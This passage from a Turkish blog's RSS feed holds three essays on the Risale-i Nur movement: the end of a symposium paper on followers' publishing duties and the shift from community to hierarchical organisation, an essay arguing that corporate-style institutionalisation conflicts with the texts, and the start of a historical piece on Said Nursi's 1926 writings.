<p>Farklı risalelerdeki parçaların tematik olarak biraraya getirilmesiyle yeni bir risale oluşturulması (Örn. Haşir). Bu, Risale-i Nur’un kendini izahı ve şerhi olarak değerlendirilmektedir.</p>
<p><em>İkincisi</em>: Yeni risaleler telif etmek.</p>
<p>Bunun da iki yöntemi var. Birincisi, adı ve konusu belli olan fakat telif edilmeyen risalelerin telifi; ikincisi, tamamlanmayan risalelerin tekmili.</p>
<p>Bediüzzaman birinciye örnek olarak Yirmibeşinci ve Otuzikinci Mektupları, ikinciye örnek olarak Dokuzuncu Şua’yı gösteriyor.</p>
<p>Yasin Suresine dair Yirmibeşinci Mektup Bediüzzaman’ın vasiyeti gereği telif edilmeyi bekliyor. Otuzikinci Mektupta ise ilginç bir durum var. Bediüzzaman onun da telif edilmesini gerektiğini söylüyor fakat külliyatta Lemaat, Otuzikinci Mektup olarak <em>Sözler</em>’in sonunda yer alıyor. Ki Lemeat’ın daha 1921’de telif edildiğini biliyoruz. O zaman Bediüzzaman burada başka bir şey söylüyor olabilir mi? Mesela, Lemaat’taki her bir nüktenin şerh edilerek genişletilmesi (tafsil) gibi.</p>
<p>Yine Rum Suresinin 17-27. ayetlerini tefsir etmeyi amaçlayan; dokuz makam ve bir mukaddimeden oluşacağı ifade edilen Dokuzuncu Şua, Mukaddime’nin telifiyle sınırlı kalıyor. Bediüzzaman, telif edilmeyen dokuz makamın telifini Nur Talebelerine vasiyet ediyor.</p>
<p><em>Üçüncüsü</em>: Risale-i Nur’u kaynak (mehaz) alarak entelektüel üretimde bulunmak. Her metin yoruma açık olduğu ve yeniden üretildiği oranda canlılığını devam ettirebilmektedir. Dolayısıyla Risale-i Nur’daki hakikatlerin değişen ferde, topluma, siyasete ve zamanın fehmine ulaştırılması; metne ve müellifine yönelik eleştirilerin ikna edici bir biçimde karşılanabilmesi için “tekmil-i izah,” “haşiyelerle beyan ve ispat,” “tefsir” ve “şerh” bir görev olarak önümüzde duruyor.</p>
<p><strong> </strong></p>
<p><strong>1. 2. 3. Beşinci Desise-i Şeytaniye ne söylemiyor?</strong></p>
<p>Bu bahsi<strong>[13]<a href="#_ftn13" name="_ftnref13"></a></strong> buraya almamızın sebebi şerh, izah ve tanzimden bahsediyor oluşu. Fakat uzun yıllar 35. Mektubun sağladığı geniş alandan henüz haberdar değilken, bu bahsin kısıtlayıcı bir üslupla okunması, yukarıda ifade etmeye çalıştığımız yeni entelektüel üretimlerin karşısına bir set olarak çıkarılmıştır. 35. Mektubun neşredilmemesi bu açıdan problematiktir. Hatta bu kısıtlayıcı okuma biçimi, metinde ifade edilen “tanzim”e karşı “içeri”de gösterilen şiddetli direnci netice vermiştir.</p>
<p>Evet, burada Bediüzzaman kısıtlayıcı bir üslup kullanmıştır. Fakat bağlam çok başkadır. İlmi enaniyetten kaynaklanan kıskançlık ve rekabet duygularıyla, Risaleleri ve müellifini küçümsemek kastıyla telifata kalkışmanın yanlışlığına işaret edilmektedir sözkonusu metinde.</p>
<p>&nbsp;</p>
<p><strong>2. Kısıtlayıcı Unsurlar</strong></p>
<p>Peki elimizde bu referanslar varken, Nur Talebeleri ne yapmıştır 1960’tan bu yana? Yukarıda incelediğimiz mektuplarda vasiyet edilen entelektüel faaliyetler ne oranda gerçekleşmiştir?</p>
<p>Altı çizilmesi gereken iki husus var:</p>
<p><em>Birincisi</em>, zorba devlete karşı verilen muhafaza ve meşruiyet mücadelesi, Nur Talebelerini sürekli savunma pozisyonunda tutmuştur. Bu bağlamda metinlerin bugüne kadar sağlıklı bir şekilde ulaşmasını temin eden bütün Nur Talebeleri her türlü takdiri haketmektedir.</p>
<p><em>İkincisi</em>, İlahiyat fakülteleri başta olmak üzere akademyanın Risale-i Nur’a uyguladığı ambargo, metinlerin entelektüel çalışmaların öznesi olmasını bugünlere kadar geciktirmiştir.</p>
<p>Bunlar harice bakan meşru mazeretler olarak kabul edilmelidir. Fakat Nur Talebeleri bugün ulaştığımız özgürlük ortamında kendi özeleştirisini de yapmak durumundadır.</p>
<p>Özeleştiri yaptığımızda karşımıza çıkan gerçek şudur: Risale-i Nur üzerinden (mehaz) yapılan entelektüel üretim gerek yerel gerekse uluslararası arenada söz söyleyebilecek düzeyde olmamıştır. Yayınlanan kitap, tez ve makale sayısı ve niteliği bunun açık göstergesidir. Yine yetişmiş entelektüel insan kaynağındaki kıtlık da başka bir göstergedir. Evet, Nur Talebesi ilim adamları mevcuttur ama bunların pek çoğunun Risale-i Nur’a yaklaşımları eklektiktir. Düzenlenen akademik toplantılarda bile Bediüzzaman’ı ve Risale-i Nur övücü, propagandif dilin baskın olduğu bilinen bir gerçektir. Medresetüzzehra’yı idealize eden insanların bugüne kadar kurup yaşatabildikleri enstitü, akademi, araştırma merkezi, think tank vb kurumların sayısı bir elin parmaklarını geçmemektedir. Ve ne yazık ki var olanlar da disipliner bir eğitim uygulayamamaktadırlar. Henüz araştırmacılara açık, kapsamlı bir tematik kütüphane kurulamamıştır. Üstad’ın tashihinden geçmiş Risale metinleri ve belgeler hâlâ özel kütüphanelerde saklanmaktadır. Risale-i Nur’un en çok okunduğu klasik dersler ise çoğunlukla metinlerin “teberrüken tilavet edilmesi” boyutuyla sınırlı kalmıştır. Söz, yazıya galip gelmiştir.<strong>[14]<a href="#_ftn14" name="_ftnref14"></a></strong></p>
<p>Kanaatimce bu sonucu netice veren şey “cemiyetleşme”dir. Nur Talebelerinin cemaatleşmesi sosyolojik bir olgudur ve olağandır. İçten dışa talebe-kardeş-dost vasfıyla, mütedahil daireler halinde, “muhalif cereyana taraftar olmamak”<strong>[15]<a href="#_ftn15" name="_ftnref15"></a></strong> hattına kadar genişleyen cemaatleşme olağandır, kuşatıcı ve kucaklayıcıdır, hür bir zemindir. Cemiyetleşme ise bu çizgiden sapmadır. Bugün bizim Nur dairesi içinde “cemaat” olarak adlandırdığımız oluşumlar, iç yapıları ve ilişki biçimleriyle daha çok cemiyettir. Lideri, bürokrasisi, hiyerarşisi ve hatta tüzüğü olan bir yapı artık cemaat değil cemiyettir. Bediüzzaman’a yöneltilen en temel ithamlardan biridir biliyorsunuz “cemiyet kurmak.” Bir müdafaasında şöyle diyor: “Meselemiz imandır. İman kuvvetiyle bu memlekette ve Isparta’nın yüzde doksan dokuz adamlarıyla uhuvvetimiz var. Halbuki, cemiyet ise ekser içinde ekalliyetin ittifakıdır. Bir adama karşı, doksan dokuz adam cemiyet olmaz”<strong>[16]<a href="#_ftn16" name="_ftnref16"></a></strong> Bugünkü cemaatlerin ilişki biçimi “ekser içinde ekalliyetin ittifakı” değil midir?</p>
<p>Cemiyete dönüşen cemaat, kaçınılmaz olarak kendi resmi görüşünü oluşturacak, bir söylem biçimi geliştirecek ve bunları muhafaza etmek için çabalayacaktır. Yani “kırmızı çizgileri” olacaktır. Dolayısıyla lider-bürokratik yapı-resmi görüş üçgeni hür düşünceye izin vermeyecektir. Oysa Bediüzzaman’ın 35. Mektupta vasiyet ettiği neşriyat faaliyetleri için-neşriyat faaliyetinin tabiatı zaten bunu gerektirir-birincil ihtiyaç düşünce ve ifade hürriyetidir. Bu yapılarda düşünce ve ifade hürriyetini, ait olduğu cemaatin resmi görüşüne aykırı olarak kullanmakta ısrar eden Nur Talebelerinin akıbeti ise genellikle ya kendi isteğiyle ya da “cemaat kararı”yla oradan uzaklaşmak olacaktır.</p>
<p>Bediüzzaman’ın “Mehdiyet” kimliği üzerinden kendisinin kültleştirilmesini engellemek ve nazarları şahs-ı maneviye yönlendirmek için söylediği “Zaman cemaat zamanıdır”<strong>[17] </strong>sözü bağlamından kopartılarak yorumlanmakta, cemaatler tarafından, müntesiplerin sadakatini kuvvetlendirecek bir argüman haline dönüştürülmektedir. Sözkonusu ifadenin bir başka kullanımının Birinci Meclis’te Mustafa Kemal’in “tek adam”lığına karşı kullanılması<strong>[18]<a href="#_ftn18" name="_ftnref18"></a></strong> ise ironik çağrışımlar içermektedir.</p>
<p>Bediüzzaman’ın “onu yazan ve yazdıran Risale-i Nur Talebesi unvanını alır” çizgisiyle, cemaatin görüşlerine sadakat üzerinden yapılan Nur Talebeliği tanımı arasındaki uçurumun boyutları üzerine hep birlikte düşünmeliyiz.</p>
<p>Bugün geldiğimiz noktada, iletişim imkânlarının çoğalması ve kolaylaşması, internetin biçimlendirdiği yeni dünya, refahın artmasıyla oluşan yeni sosyoloji ve nispeten özgürleşen Türkiye, Risale-i Nur hizmetini yeni bir eşiğe taşıdı. Adeta Bediüzzaman’ın <em>Muhakemat</em>’ta bahsettiği “istikbal” dönemi<strong>[19] </strong>uç verdi. Henüz akademik bir ölçeğe vurulacak düzeyde olmasa da cemaat duvarları şeffaflaştı. Yani Nur Talebeleri kendi “cemaati” dışındaki derslere, organizasyonlara daha çok katılır oldu. Herhangi bir cemaate aidiyet hissetmeyen ve fakat Risale-i Nur okuyan, okutan, Bediüzzaman’ın ifadesiyle onu yazan, yazdıran ve intişarına yardım eden fertler, kurumlar ortaya çıkmaya başladı. Akademik format içinde entelektüel üretim endişesi taşıyan gruplardan, benim “new age hizmet grupları” dediğim popüler bir üslup, dil ve biçimi tercih eden oluşumlara kadar geniş bir yelpaze ortaya çıktı. Bunlar ümit verici gelişmeler olarak değerlendirilebilir.</p>
<p>&nbsp;</p>
<p><strong>3. Sonuç Yerine Öneriler</strong></p>
<ol>
<li>Mevcut Nur Cemaatleri elbette varlıklarını sürdüreceklerdir. Ancak kendilerini cemiyet pozisyonuna indirgeyen yöntem ve uygulamaları gözden geçirmeleri kaçınılmazdır. Bunun için öncelikle zihniyet değişikliği gerekmektedir. Ve yine etrafında toplandıkları karizmatik liderleri “müzahir” profiline indirgemeliler. Yeni “lider”lerin ortaya çıkmasına müsaade etmeyip, meşvereti tesis etmeliler.</li>
<li>“Biz delil isteriz, tasvir-i müddea ile aldanmayız,” “Tasvir ve tezyin-i müddea zihnimizi işba’ etmiyor. Burhan isteriz”<strong>[20] </strong>diyen yeni nesillerin dilini konuşmalı, daha rasyonel bir anlatı dili yakalanmalıdır.</li>
<li>Metinlerin sıhhatini korumak gayesiyle geliştirilen haklı refleks Külliyatı dogmaya dönüştürmemelidir. Kutsal olan cildi, kâğıdı, sayfa düzeniyle kitabın kendisi ya da Risale-i Nur hizmetini yürüten kişi ve kurumlar değil içindeki hakikatlerdir. Bu bağlamda, yetersiz de olsa ileri adım olarak değerlendirilebilecek olan ayet, hadis mealleri, lügatçe ve ansiklopedik bilgilerin kitaplara yeniden girmesine müsaade edilmeli; hataların giderilmesi, eksiklerin tamamlanması için ortak çalışma grupları oluşturulmalıdır.</li>
<li>Özellikle ehl-i imanın Risale-i Nur’a mesafeli duruşunda Nur Talebelerinin de rolü olduğu kabul edilmelidir. İttihad-ı İslam’ın farz vazife olduğuna inanan Nur Talebeleri diğer ehl-i imanla aralarındaki köprüleri çoğaltmalıdır.</li>
<li>Risale-i Nur Külliyatı ve Bediüzzaman ile ilgili bütün dokümanların ve yayınların birarada bulanacağı, herkesin kullanımına açık tematik bir kütüphane kurulmalıdır.</li>
<li>Risale-i Nur’u mehaz kabul ederek ilmi, imani, içtimai meseleler hakkında düşünce üretimi için ortak fikrî müzakere zeminleri çoğaltılmalı, buralardan hasıl olarak kitap, makale, araştırma dosyası, rapor gibi materyaller yine güçlü yayınevleri üzerinden dünyaya servis edilmelidir.</li>
<li>Hizmet müesseseleri akademik usul ve esaslar çerçevesinde kendi insan kaynağını yetiştirmelidir. 35. Mektupta vasiyet edilen neşriyat yükümlülüğü bu kadrolarla mümkündür. Devşirme aydınlarla sonuç alınamayacağı tecrübe edilmiştir.</li>
<li>Bu tür platformlarda telahuk-u efkar, fikir hürriyeti, ruhların tesanüdü ve taassupsuzluk ilkeleri vazgeçilmez değerler olmalıdır. “Herkes kendi harekât-ı meşruasında şahane serbest ol[malı]”; ortak karar alma süreçlerinde meşveret kuralları uygulanmalıdır. Her türlü vesayet ve angajmandan bağımsız yapılar inşa edilmelidir.</li>
<li>Şüphesiz bu maddeler çoğaltılabilir fakat kabul edelim ki bütün bunlar ancak uhuvvet ve ittihad zemininde mümkün olabilir.</li>
</ol>
<p>&nbsp;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>[∗] Bu metin 17-19 Nisan 2015 tarihlerinde düzenlenen “Kastamonu Lahikası Sempozyumu”nda sunulan tebliğin gözden geçirilmiş halidir.</p>
<p>[2] Bediüzzaman Said Nursi, <em>Kastamonu Lahikası</em>, Söz Basım Yayın, İstanbul: Şubat 2014, s. 43.</p>
<p>[3] A.g.e., s. 72-75.</p>
<p>[4] Bediüzzaman Said Nursi, <em>Barla Lahikası</em>, Yeni Asya Neşriyat, İstanbul: Şubat 2014, s. 588-591.</p>
<p>[5] Bediüzzaman Said Nursi, <em>Risale-i Nur Külliyatı</em>, Nesil Yayınları, İstanbul:2002, Cilt: 2, s. 1590-1591.</p>
<p>[6] Bediüzzaman Said Nursi, <em>Kastamonu Lahikası</em>, Diyanet İşleri Başkanlığı (basılmamış nüsha), s. 51-53.</p>
<p>[7] “Üstad”lığın mahiyeti için bkz: “Mesleğimizin esası uhuvvettir. Peder ile evlât, şeyh ile mürid mâbeynindeki vasıta değildir. Belki hakikî kardeşlik vasıtalarıdır. Olsa olsa bir üstadlık ortaya girer. Mesleğimiz halîliye olduğu için, meşrebimiz hıllettir. Hıllet ise, en yakın dost ve en fedakâr arkadaş ve en güzel takdir edici yoldaş ve en civanmert kardeş olmak iktiza eder.” http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Lemalar&amp;Page=166 (erişim tarihi: 10.04.2015)</p>
<p>[8] “Risale-i Nur’a intisap eden zâtın en ehemmiyetli vazifesi, onu yazmak ve yazdırmaktır ve intişarına yardım etmektir. Onu yazan veya yazdıran, ‘Risale-i Nur talebesi’ unvanını alır.”</p>
<p>[9] “Benimle hakikat meşrebinde sohbet etmek ve görüşmek isteyen adam hangi risaleyi açsa, benimle değil, hâdim-i Kur’an olan Üstadıyla görüşür ve hakaik-i imaniyeden zevkle bir ders alabilir.”</p>
<p>[10] “Bu sene çok defa ihtar edilen hakikatleri kaydetmek için teşebbüs ettimse de çalıştırılamadım.”</p>
<p>[11] “Onun için vazifem bitmiş gibi bana geliyor.”</p>
<p>[12] http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;SubSection=TelifKronolojisi (erişim tarihi: 10.04.2015)</p>
<p>[13] “Bir şey daha kaldı; en tehlikesi odur ki: İçinizde ve ahbabınızda, bu fakir kardeşinize karşı bir kıskançlık damarı bulunmak, en tehlikelidir. Sizlerde mühim ehl-i ilim de var. Ehl-i ilmin bir kısmında bir enâniyet-i ilmiye bulunur. Kendi mütevazi de olsa, o cihette enâniyetlidir; çabuk enâniyetini bırakmaz. Kalbi, aklı ne kadar yapışsa da, nefsi, o ilmî enâniyeti cihetinde imtiyaz ister, kendini satmak ister, hattâ yazılan risalelere karşı muaraza ister. Kalbi risaleleri sevdiği ve aklı istihsan ettiği ve yüksek bulduğu hÂlde, nefsi ise, enâniyet-i ilmiyeden gelen kıskançlık cihetinde zımnî bir adâvet besler gibi, Sözlerin kıymetlerinin tenzilini arzu eder-tâ ki kendi mahsulât-ı fikriyesi onlara yetişsin, onlar gibi satılsın. Halbuki, bilmecburiye bunu haber veriyorum ki:</p>
<p>Bu durûs-u Kur’âniyenin dairesi içinde olanlar, allâme ve müctehidler de olsalar, vazifeleri, ulûm-u imaniye cihetinde, yalnız yazılan şu Sözlerin şerhleri ve izahlarıdır veya tanzimleridir. Çünkü, çok emârelerle anlamışız ki, bu ulûm-u imaniyedeki fetvâ vazifesiyle tavzif edilmişiz. Eğer biri, dairemiz içinde nefsin enâniyet-i ilmiyeden aldığı bir hisle, şerh ve izah haricinde bir şey yazsa, soğuk bir muaraza veya nâkıs bir taklitçilik hükmüne geçer. Çünkü, çok delillerle ve emârelerle tahakkuk etmiş ki, Risale-i Nur eczaları Kur’ân’ın tereşşuhâtıdır; bizler, taksimü’l-a’mÂl kaidesiyle, herbirimiz bir vazife deruhte edip o âb-ı hayat tereşşuhâtını muhtaç olanlara yetiştiriyoruz.”</p>
<p>http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Mektubat&amp;Page=413 (erişim tarihi: 10.04.2015)</p>
<p>[14] Bu paragraftaki iddialarımızı rakamlarla ve somut isimlerle desteklemek mümkün, fakat maksadımız deşifre değil tespit olduğu için bundan bilerek kaçındık.</p>
<p>[15] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=KastamonuLahikasi&amp;Page=193">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=KastamonuLahikasi&amp;Page=193</a> (erişim tarihi: 14.04.2015)</p>
<p>[16] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=TarihceiHayat&amp;Page=200">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=TarihceiHayat&amp;Page=200</a> (erişim tarihi: 14.04.2015)</p>
<p>[17] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Mektubat&amp;Page=425">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Mektubat&amp;Page=425</a> (erişim tarihi: 11.04.2015)</p>
<p>[18] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=MesneviiNuriye&amp;Page=87">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=MesneviiNuriye&amp;Page=87</a> (erişim tarihi: 11.04.2015)</p>
<p>[19] “Vakta ki, hâl sahrasında istikbal dağlarına daima yağmur veren hakaik-i hikmetin maden-i tebahhuratı efkâr ve akıl ve hak ve hikmet olduklarından ve yeni tevellüde başlayan meyl-i taharrî-i hakikat ve aşk-ı hak ve menfaat-i umumiyeyi menfaat-i şahsiyeye tercih ve meyl-i insaniyetkârâneyi intaç eyleyen berahin-i katıadan başka isbat-ı müddea birşeyle olmaz. Biz ehl-i haliz, namzed-i istikbaliz. Tasvir ve tezyin-i müddeâ, zihnimizi işbâ’ etmiyor. Burhan isteriz.” <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31</a> (erişim tarihi: 11.04.2015)</p>
<p>[20] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31</a> (erişim tarihi: 11.04.2015)</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/18-ve-35-mektuplar-isinda-nur-talebelerinin-nesriyat-yukumlulugu1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hizmet içi kurumsallaşmanın mümkünlüğü hakkında</title>
		<link>http://layetezelzel.com/hizmet-ici-kurumsallasmanin-mumkunlugu-hakkinda/</link>
		<comments>http://layetezelzel.com/hizmet-ici-kurumsallasmanin-mumkunlugu-hakkinda/#comments</comments>
		<pubDate>Fri, 31 Oct 2014 13:32:57 +0000</pubDate>
		<dc:creator>Yunus Emre Orhan</dc:creator>
				<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[hizmet]]></category>
		<category><![CDATA[kurumsallaşma]]></category>
		<category><![CDATA[risale hizmeti]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=166</guid>
		<description><![CDATA[Kurumsallaşma stratejisinin ticari arenada ulaştığı “başarının”, din adına “hizmet” amacıyla takip edilen strateji ile bağdaşabileceği yoğun bir talep görmekte. Din adına hizmetten kastım, fertlerin bir araya gelerek, grup halinde (ya da cemaat halinde), dini hakikatlerin anlaşılması için çeşitli faaliyetlerde bulunmasını .....]]></description>
				<content:encoded><![CDATA[<p>Kurumsallaşma stratejisinin ticari arenada ulaştığı “başarının”, din adına “hizmet” amacıyla takip edilen strateji ile bağdaşabileceği yoğun bir talep görmekte. Din adına hizmetten kastım, fertlerin bir araya gelerek, grup halinde (ya da cemaat halinde), dini hakikatlerin anlaşılması için çeşitli faaliyetlerde bulunmasını kastediyorum. ”Kurumsallaşma”dan anladığım ise takip edilen stratejide bireyler arası ilişkilerin “kalıplaştırılması” ya da standarda bağlanmasıdır. Yani özünde, ticari faaliyetleri bireyden bağımsız hale getirilmesi gereği vardır. Ticari arenada “kurumsallaşmanın”  “başarılı sonuçlar” doğurduğu varsayımının sorunsallığı da ayrı bir tartışma, fakat yazımın amacı bu değil. Din adına hizmet anlayışıyla bir araya gelen grupların İslam camiası içerisindeki çeşitliliği de ayrı bir vakıa. Bu yazımda tartışmamı daraltmak amacıyla, din adına hizmet eden grupların içinde, Risale-i Nurları kendine rehber eden gruplar üzerine konuşup, bu tür gruplaşmaların hizmet metodolojisinde “kurumsallaşmayı” hedeflemesinin kendi içinde bir tutarsızlığı barındırdığını göstermeye çalışacağım.</p>
<p>Özetlemek gerekirse kurumsallık nicele yoğunlaşır. Nihai gayesi kâr ya da faydadır. Performansını sonuçların ölçümü ile değerlendirir; dolayısıyla “sonuç odaklılık” ve başarı merkezi kavramlarıdır. Kurumsallaşma icra bağlamında, insan kaynağı kategorileri arasındaki performansı ölçmek için “hesap verilebilirlik” kavramından beslenir. Peki, bu şekilde tanımlanan bir yapılanma stratejisi, “Risale-i Nur”lar ile beraber yürüyen hizmet grupları ile uyumlu çalışabilir mi?</p>
<p>Gözlemlediğim birçok “Risale-i Nur” rehberliğinde hizmet eden gruplarda bir kurumsallaşma eğilimi görüyorum. Bu gözlemim de elbette sorugulanabilir ve araştırmaya değerdir. Kurumsallaşma eğilimini şu veriler üzerinden gözlemlediğimi belirtebilirim: tüm Türkiye’ye donanımlı bir hizmet sunabilme adına “merkezileşme”, merkezi karar mekanizmaları, başarı ölçümleri için “kaç yeni insana ulaşıldığı”nın tespiti ve değerlendirilmesi, kazanılmış insanlar içinde “haftalık okuma takibi”, nicel bir çoğunluğa ulaşılamamasının “başarısızlık” olarak addedilmesi, önemli makamlarda bulunan isimlere ulaşabilme&#8230;vs Gözlemlediğim verileri çoğaltabileceğimi belirtmeliyim.</p>
<p>Bu tablo ışığında, sorumu yenilemenin faydası var: “Kurumsallaşma stratejisi” hakiketen “Risale-i Nur”lar ile beraber yürüyen hizmet grupları ile uyumlu çalışabilir mi? Cevabım hayır! Cevabımı desteklemek adına şöyle bir izah yapılabilir: Kuran Tefsiri olan Risaleler nicel yerine nitele yoğunlaşmamızı ders verir. Nihai gayeyi kâr /fayda/önemli-makamlar olarak değil Rabbin rızası olarak tarif eder. Performans ölçümü bireyin kendisine ait bir ödev değildir, hatta “Yaratıcının işine karışma” olarak tarif edilir. Bundan dolayı “sonuç odaklılık ve başarı” kavramlarından ziyade “adetullah, tebliğ ve tevekkül” kavramlarından beslenir. İnsan kaynağı içerisindeki kategoriler arası ilişki “hesap verilebilirlik” üzerine değil “samimiyet” üzerine inşa edilir. Yeni fikirlerin doğabilmesi adına “standartlaştırmayı” değil, “esnekliği” önceler.</p>
<p>Pek tabii iddia edilebilir ki, risalelerden çıkarılan bu perspektif yazarın kendisine aittir. Açıkçası bunun aksini ben de iddia etmiyorum ve bu okuyuşumun şahsi olduğunu belirtmek isterim. Peki burada konan tabloya göre sizce risaleleri gündeminin merkezine alan bir akım, grup, kitle, cemaat, ne derseniz deyin bu metodoloji ile varlığını uzun dönem devam ettirebilir mi? Kannatimce bu paradoksal yapı için “çözülme” kaçınılmaz bir kaderdir. Hatta çok daha gür bir sesle diyebilirim ki, bu çözülmenin ana itici gücü yine “Risale-i Nur”lardır. Başka bir deyişle, hiçbir otoritenin, kurumsallaşma dayatıp da, aynı anda Risaleleri okuyun demesi teorik olarak mümkün değildir. Çözüm adına üretilecek teviller ise, başarısız kalmaya mahkumdur kanaatindeyim.</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/hizmet-ici-kurumsallasmanin-mumkunlugu-hakkinda/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ulvi bir hizmetin tarihi bir mukaddimesi: Bir(inci) söz</title>
		<link>http://layetezelzel.com/ulvi-bir-hizmetin-tarihi-bir-mukaddimesi-birinci-soz/</link>
		<comments>http://layetezelzel.com/ulvi-bir-hizmetin-tarihi-bir-mukaddimesi-birinci-soz/#comments</comments>
		<pubDate>Wed, 29 Oct 2014 10:46:35 +0000</pubDate>
		<dc:creator>Kasım İkbal</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[Tevhid]]></category>
		<category><![CDATA[Ubudiyet]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[bismillah]]></category>
		<category><![CDATA[cumhuriyet]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[okunak]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[said nursi]]></category>
		<category><![CDATA[tevhid]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=155</guid>
		<description><![CDATA[Risale-i Nur okumalarımızı zamandan ve mekândan bağımsız bir ortamda yapıyor olmamız bir şeyleri daima eksik bırakacaktır. Hutbe-i Şamiye’yi okurken o atmosferi soluyabilmek ilgili eseri anlamak, açısından da büyük önem arz etmektedir. Münazarat’ı okurken dönemin şartlarını ruh halimizde yaşayabilmek, eseri idrak .....]]></description>
				<content:encoded><![CDATA[<p>Risale-i Nur okumalarımızı zamandan ve mekândan bağımsız bir ortamda yapıyor olmamız bir şeyleri daima eksik bırakacaktır. Hutbe-i Şamiye’yi okurken o atmosferi soluyabilmek ilgili eseri anlamak, açısından da büyük önem arz etmektedir. Münazarat’ı okurken dönemin şartlarını ruh halimizde yaşayabilmek, eseri idrak etmemizde büyük kolaylık sağlayacaktır. Örnekleri çoğaltmamız mümkün.</p>
<p>1918 yılında Bediüzzaman Said Nursi hazretleri, Darü&#8217;l-Hikmeti&#8217;l-İslamiye üyeliğine getirilmiştir. Bu yıllarda İstanbul’da olan Üstad hazretleri, 1920 yılında ise Yeşilay’ın kurucuları arasında yer almıştır. 1921 yılında Osmanlı İmparatorluğu’nun son Şeyhülislamlarından Dürrizade Abdullah Efendi’nin Kuvay-ı Milliye aleyhine vermiş olduğu fetvaya karşı Anadolu hareketini destekleyen bir fetva yayınlamıştır. Anadolu hareketini destekleyen bu tavrı nedeniyle de 19 Kasım 1922 tarihinde Büyük Millet Meclisi tarafından Ankara’ya davet edilmiş ve hoşamedi programıyla karşılanmıştır. Buraya kadar yaşananlar üzerinden çok şey konuşulabilir lakin konumuz olmadığı için şimdilik erteliyoruz.</p>
<p>Ankara’daki ahval üzerine, Kuvay-ı Milliye kahramanlarının hassaten namaz konusunda gösterdikleri lakaytlıktan ötürü 1 Şubat 1923 tarihinde 10 maddelik bir beyanname yayınlamıştır. Bununla ilgili detayları da Birinci Söz’ün yazıldığı atmosferi soluyabilmek adına okumak gerekir.<sup>1</sup> O tarihten sonra Üstad hazretleri, kendisine teklif edilen tüm rütbe ve makamları reddederek Ankara’dan ayrılır. Van’a gider. Şeyh Said hadisesi bahane edilerek Üstad hazretleri, 1925 yılı sonlarında Burdur’a sürgün edilir.</p>
<p>Bu tarihten sonra 25 Ocak 1926 tarihinde Üstad hazretleri, Isparta’ya sürgün edilir ve bundan tam bir ay sonra 20 Şubat 1926’da da o tarihte ıssız bir belde olan Barla’da daimi ikamete mecbur edilir. İşte tam da bu tarihte Risale-i Nur&#8217;un neşri başlamış olur. Burdur’da yazılan “Nurun İlk Kapısı” sonrasında Barla’da Sözler’in neşrine başlanır Bismillah denerek.</p>
<p>Yine 1926 yılının Mart aylarında Yeni Ceza kanunu yürürlüğe girer. Belki bu kanun da hukukçu arkadaşlar tarafından tarihsel süreci içerisinde yeniden okunup yorumlanmalıdır. Ki Haziran ayında Mustafa Kemal’e yönelik düzenlenen İzmir suikastinin ortaya çıkarılıp faillerinin idam edilmesi konusu da yine tarihsel süreç zarfında yeniden okunmalıdır. Çünkü failler yeni ceza kanununa göre yargılanmışlardır.</p>
<p>Yine asli konumuza dönecek olursak; Yeni Asya Neşriyat tarafından basılan Risale-i Nur Külliyatı&#8217;nın arka kısmındaki kronolojide 1, 2, 3, 4, 5, 6, 7, 8, 9, 20, 21 ve 22. Sözlerin 1926 yılında yazıldığı ifade edilmektedir. Yani Üstad hazretleri, bu eserleri Barla’da daimi ikamete mecbur edildiği sıralarda kaleme almıştır. Peki nedir bu risalelerin içeriği?<sup>2</sup> Konularına ve sıralamalarına baktığımızda bu eserlerin Cumhuriyetin ilk yıllarında dine yapılan tecavüzlere karşı birer hakikat beyanı olduğu gözlemlenmektedir. Tüm bunların içerisinde ise Birinci Söz, bismillah diyerek dine karşı yapılan bu tecavüzlere ilişkin olarak tarihi bir mukaddimedir.</p>
